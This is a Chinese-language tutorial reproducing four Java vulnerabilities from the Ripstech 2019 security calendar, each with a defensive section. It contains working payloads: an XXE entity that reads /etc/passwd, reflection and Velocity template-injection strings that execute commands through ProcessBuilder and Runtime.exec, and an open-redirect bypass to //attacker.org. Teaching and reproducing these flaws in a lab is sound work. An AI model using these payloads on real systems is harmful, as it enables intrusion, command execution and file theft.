Ripstech Java Security 2019 Calendar复现系列(一)
字数 1509 2025-08-25 22:58:56
Java安全漏洞复现与分析:Ripstech Java Security 2019 Calendar系列
1. XXE漏洞之SAXBuilder解析
漏洞原理
SAXBuilder.build()函数易受XXE攻击,当解析恶意构造的XML文件时,可能导致敏感信息泄露或服务器端请求伪造。
漏洞代码分析
- 漏洞类:
ImportDocument - 关键函数:
org.jdom2.input.SAXbuilder.build() - 攻击路径:
- 从"uploaded_office_doc.odt"文件中读取内容(实际为ZIP格式)
- 遍历ZIP文件中所有文件,查找content.xml
- 使用SAXBuilder解析content.xml文件
复现步骤
- 环境准备:IDEA + Maven
- 添加测试类:
package com.ananaskr.day1;
import org.jdom2.JDOMException;
import java.io.IOException;
public class TestDay1 {
public static void main(String[] args) throws IOException, JDOMException {
ImportDocument test = new ImportDocument();
System.out.println(test.extractString());
}
}
- 构造恶意.odt文件:
- 创建content.xml:
<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ELEMENT text ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
- 将content.xml打包为ZIP并重命名为uploaded_office_doc.odt
- 执行结果:成功读取/etc/passwd文件内容
防御措施
- 禁用DTD和外部实体
- 使用安全配置的XML解析器
2. 任意对象实例化漏洞
漏洞原理
通过控制JSON输入参数,可以实例化任意类并调用其方法,导致任意代码执行。
漏洞代码分析
- 漏洞类:
MainController - 攻击参数:
- controllerName:控制要实例化的类
- task:控制要调用的方法
- data:方法参数
复现步骤
- 环境准备:IDEA + Maven
- 添加测试类:
package com.ananaskr.day2;
import java.io.IOException;
public class day2 {
public static void main(String[] args) throws IOException {
String rawJson = "{\"controller\":\"java.lang.ProcessBuilder\",\"task\":\"start\",\"data\":[\"touch\",\"hacked.jsp\"]}";
MainController con = new MainController(rawJson);
}
}
- 构造payload:
{
"controller": "java.lang.ProcessBuilder",
"task": "start",
"data": ["touch", "hacked.jsp"]
}
- 执行结果:成功创建hacked.jsp文件
防御措施
- 限制可实例化的类白名单
- 避免直接反射调用用户控制的类和方法
3. Velocity模板注入漏洞
漏洞原理
Velocity模板引擎在运行时动态解析模板语言,当用户输入被直接作为模板解析时,可导致代码注入。
漏洞代码分析
- 关键函数:
velocity.evaluate() - 攻击参数:
fragment参数(用户可控) - 限制:不能直接执行Java代码,需使用反射机制
复现步骤
-
环境准备:IDEA + maven-archetype-webapp
-
修正代码:
- 移除final关键字
- 为render函数添加返回值
-
添加Servlet类:
package com.ananaskr.day3;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class day3 extends HttpServlet {
public void init() throws ServletException{}
public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException{
TemplateRenderer temp = new TemplateRenderer();
temp.render(req,res);
}
public void destroy(){}
}
- 配置web.xml:
<servlet>
<servlet-name>TemplateRenderer</servlet-name>
<servlet-class>com.ananaskr.day3.Day3</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TemplateRenderer</servlet-name>
<url-pattern>/day3</url-pattern>
</servlet-mapping>
- 构造payload:
user=&temp=#set($s="")#set($stringClass=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("touch hacked.jsp"))$stringClass
URL编码后:
http://localhost:8080/day31/day3?user=&temp=%23set%28%24s%3D%22%22%29%23set%28%24stringClass%3D%24s.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22touch%20hacked.jsp%22%29%29%24stringClass
- 执行结果:成功创建hacked.jsp文件
防御措施
- 对用户输入进行严格过滤
- 使用沙箱环境运行模板引擎
- 限制可调用的Java类和方法
4. 开放重定向漏洞
漏洞原理
URL参数未正确验证,导致可以构造恶意URL进行重定向攻击。
漏洞代码分析
- 漏洞点:
url参数可控 - 绕过技巧:
startsWith("/")检查可被//attacker.org绕过 - 重定向函数:
sendRedirect()
复现步骤
- 环境准备:IDEA + maven-archetype-webapp
- 修正代码:添加异常处理
- 配置web.xml:
<servlet>
<servlet-name>login</servlet-name>
<servlet-class>com.ananaskr.day4.Login</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>login</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping>
- 构造payload:
POST内容:
url=//attacker.org
- 执行结果:重定向到http://attacker.org
防御措施
- 严格验证重定向URL
- 使用白名单机制限制重定向目标
- 避免使用用户提供的URL进行重定向
总结
本系列漏洞展示了Java应用中常见的安全问题:
- XXE漏洞:源于不安全的XML解析配置
- 任意对象实例化:源于不安全的反射使用
- 模板注入:源于用户输入直接作为代码执行
- 开放重定向:源于不完善的URL验证
防御这些漏洞的关键在于:
- 永远不要信任用户输入
- 使用最小权限原则
- 实施严格的输入验证和输出编码
- 保持框架和库的最新版本